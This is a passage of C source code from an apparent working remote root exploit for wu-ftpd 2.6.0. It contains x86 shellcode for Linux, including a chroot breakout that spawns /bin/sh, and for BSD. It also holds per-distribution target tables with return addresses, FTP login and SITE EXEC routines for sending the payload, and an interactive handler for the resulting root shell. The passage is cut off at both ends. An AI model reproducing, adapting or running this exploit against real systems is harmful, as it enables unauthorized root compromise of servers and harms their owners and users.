"\xD2\xBF\x22\x6F\xBC\x5F\xE2\xBF\x22\x6F\x5C\x11\x62\xB9" "\x12\x5F\xE3\xBD\xBF\x22\x6F\x11\x24\x9A\x1C\x62\xB9\x11" "\xBD\x5F\xD2\xBF\x22\x6F\x62\x99\x12\x66\xA1\xEB\x62\xB9" "\x17\x66\xF9\xB9\xB9\xBD\x5F\xD4\xBF\x22\x6F\xC0\x8D\x86" "\x81\xC0\x9C\x87\xEF\xC1\xC1\xEF"; char linuxcode[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; #define MAX_FAILED 4 #define MAX_MAGIC 100 static int magic[MAX_MAGIC],magic_d[MAX_MAGIC]; static char *magic_str=NULL; int before_len=0; char *target=NULL,*username="ftp",*password=NULL; struct targets getit; struct targets { int def; char *os_descr, *shellcode; int delay; u_long pass_addr, addr_ret_addr; int magic[MAX_MAGIC], magic_d[MAX_MAGIC],islinux; }; struct targets targ[]= { { 0,"RedHat 6.2 (?) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb028,{0x87,3,1,2},{1,2,1,4},1 }, {1,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8075b00-700,0xbfffb038,{0x87,3,1,2},{1,2,1,4},1}, {2,"SuSe 6.3 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076cb0-400,0xbfffb018,{0x87,3,1,2},{1,2,1,4},1}, {3,"SuSe 6.4 with wuftpd 2.6.0(1) from rpm",linuxcode,2,0x8076920-400,0xbfffafec,{0x88,3,1,2},{1,2,1,4},1}, {4,"RedHat 6.2 (Zoot) with wuftpd 2.6.0(1) from rpm (test)",linuxcode,2,0x8075b00-700,0xbfffb070,{0x87,3,1,2},{1,2,1,4},1}, {5,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from ports",bsdcode,10,0x80bb474-100, 0xbfbfc164,{0x3b,2,4,1,0x44,2,1,2},{1,2,1,2,1,2,1,4},0}, {6,"FreeBSD 3.4-STABLE with wuftpd 2.6.0(1) from packages",bsdcode,2,0x806d5b0-500,0xbfbfc6bc, {0x84,1,2,1,2}, {1,3,2,1,4},0}, {7,"FreeBSD 3.4-RELEASE with wuftpd 2.6.0(1) from ports",bsdcode,2,0x80a4dec-400,0xbfbfc624,{0x3B,2,1,0xe,0x40,1,2,1,2},{1,2,1,2,1,3,2,1,4},0}, {8,"FreeBSD 4.0-RELEASE with wuftpd 2.6.0(1) from packages",infin_loop,2,0x80706f0,0xbfbfe798,{0x88,2,1,2},{1,2,1,4},0}, {0,NULL,NULL,0,0,0,{0},{0},0} }; void usage(char*zu,int q) { int i, n, padding; fprintf(stderr,"Usage: %s -t [-l user/pass] [-s systype] [-o offset] [-g] [-h] [-x]\n" " [-m magic_str] [-r ret_addr] [-P padding] [-p pass_addr] [-M dir]\n" "target : host with any wuftpd\nuser : anonymous user\n" "dir : if not anonymous user, you need to have writable directory\n" "magic_str : magic string (see exploit description)\n-g : enables magic string digging\n" "-x : enables test mode\npass_addr : pointer to setproctitle argument\n" "ret_addr : this is pointer to shellcode\nsystypes: \n",zu); for(i=0;targ[i].os_descr!=NULL;i++) { padding=0; fprintf(stderr,"%s%2d - %s\n",targ[i].def?"*":" ",i,targ[i].os_descr); if(q>1) { fprintf(stderr," Magic ID: ["); for(n=0;targ[i].magic[n]!=0;n++) { if(targ[i].magic_d[n]==4) padding=targ[i].magic[n]; fprintf(stderr,"%02X,%02X",targ[i].magic[n],targ[i].magic_d[n]); if(targ[i].magic[n+1]!=0) fprintf(stderr,":"); } fprintf(stderr,"] Padding: %d\n",padding); fflush(stderr); } } exit(1); } int connect_to_server(char*host) { struct hostent *hp; struct sockaddr_in cl; int sock; if(host==NULL||*host==(char)0) { fprintf(stderr,"Invalid hostname\n"); exit(1); } if((cl.sin_addr.s_addr=inet_addr(host))==-1) { if((hp=gethostbyname(host))==NULL) { fprintf(stderr,"Cannot resolve %s\n",host); exit(1); } memcpy((char*)&cl.sin_addr,(char*)hp->h_addr,sizeof(cl.sin_addr)); } if((sock=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) { fprintf(stderr,"Error creating socket: %s\n",strerror(errno)); exit(1); } cl.sin_family=PF_INET; cl.sin_port=htons(21); if(connect(sock,(struct sockaddr*)&cl,sizeof(cl))==-1) { fprintf(stderr,"Cannot connect to %s: %s\n",host,strerror(errno)); exit(1); } return sock; } int ftp_recv(int sock,char*buf,int buf_size,int disc) { int n=0; char q; if(disc) while((n=recv(sock,&q,1,0))==1&&q!='\n'); else { (void)bzero(buf,buf_size); n=recv(sock,buf,buf_size,0); if(n<0) { fprintf(stderr,"ftp_recv: recv failed\n"); exit(1); } buf[n]=0; } return n; } int ftp_send(int sock,char*what,int size,int f,char*ans,int ans_size) { int n; n=send(sock,what,size,0); if(n!=size) { fprintf(stderr,"ftp_send: failed to send. expected %d, sent %d\n", size,n); shutdown(sock,2); close(sock); exit(1); } if(f) return ftp_recv(sock,ans,ans_size,0); return 0; } int ftp_siteexec(int sock,char*buff,int buff_len,int q,char*ans,int ans_len) { ftp_send(sock,buff,buff_len,q,ans,ans_len); if(strncmp(ans,"200-",4)==0) ftp_recv(sock,NULL,0,1); else ftp_recv(sock,ans,ans_len,0); if(strncmp(ans,"200-",4)) { fprintf(stderr,"Cannot find site exec response string\n"); exit(1); } return 0; } void ftp_login(int sock,char*u_name,char*u_pass) { char buff[2048]; printf("loggin into system..\n"); snprintf(buff,2047,"USER %s\r\n", u_name); ftp_send(sock, buff,strlen(buff),1,buff,2047); printf(GREEN"USER %s\n"NORM"%s",u_name,buff); snprintf(buff,2047,"PASS %s\r\n",u_pass); printf(GREEN"PASS %s\n"NORM,*u_pass=='\x90'?"":u_pass); ftp_send(sock,buff,strlen(buff),1,buff,2047); while(strstr(buff,"230 ")==NULL) { (void)bzero(buff,2048); ftp_recv(sock,buff,2048,0); } printf("%s",buff); return; } void ftp_mkchdir(int sock,char*cd,char*new) { char buff[2048]; sprintf(buff,"CWD %s\r\n",cd); printf(GREEN"%s"NORM,buff); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf("%s",buff); sprintf(buff,"MKD %s\r\n",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN"MKD "NORM"\n%s",buff); sprintf(buff,"CWD %s\r\n",new); ftp_send(sock,buff,strlen(buff),1,buff,2047); printf(GREEN"CWD "NORM"\n%s",buff); return; } void process_possibly_rooted(int sock) { fd_set fd_read; char buff[1024], *cmd=getit.islinux?"/bin/uname -a;/usr/bin/id;\n":"/usr/bin/uname -a;//usr/bin/id;\n"; int n; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); FD_SET(0, &fd_read); send(sock, cmd, strlen(cmd), 0); while(1) { FD_SET(sock,&fd_read); FD_SET(0,&fd_read); if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break; if( FD_ISSET(sock, &fd_read) ) { if((n=recv(sock,buff,sizeof(buff),0))<0) { fprintf(stderr, "EOF\n"); exit(2); } if(write(1,buff,n)<0)break; } if ( FD_ISSET(0, &fd_read) ) { if((n=read(0,buff,sizeof(buff)))<0) { fprintf(stderr,"EOF\n"); exit(2); } if(send(sock,buff,n,0)<0) break; } usleep(10); } fprintf(stderr,"Connection aborted, s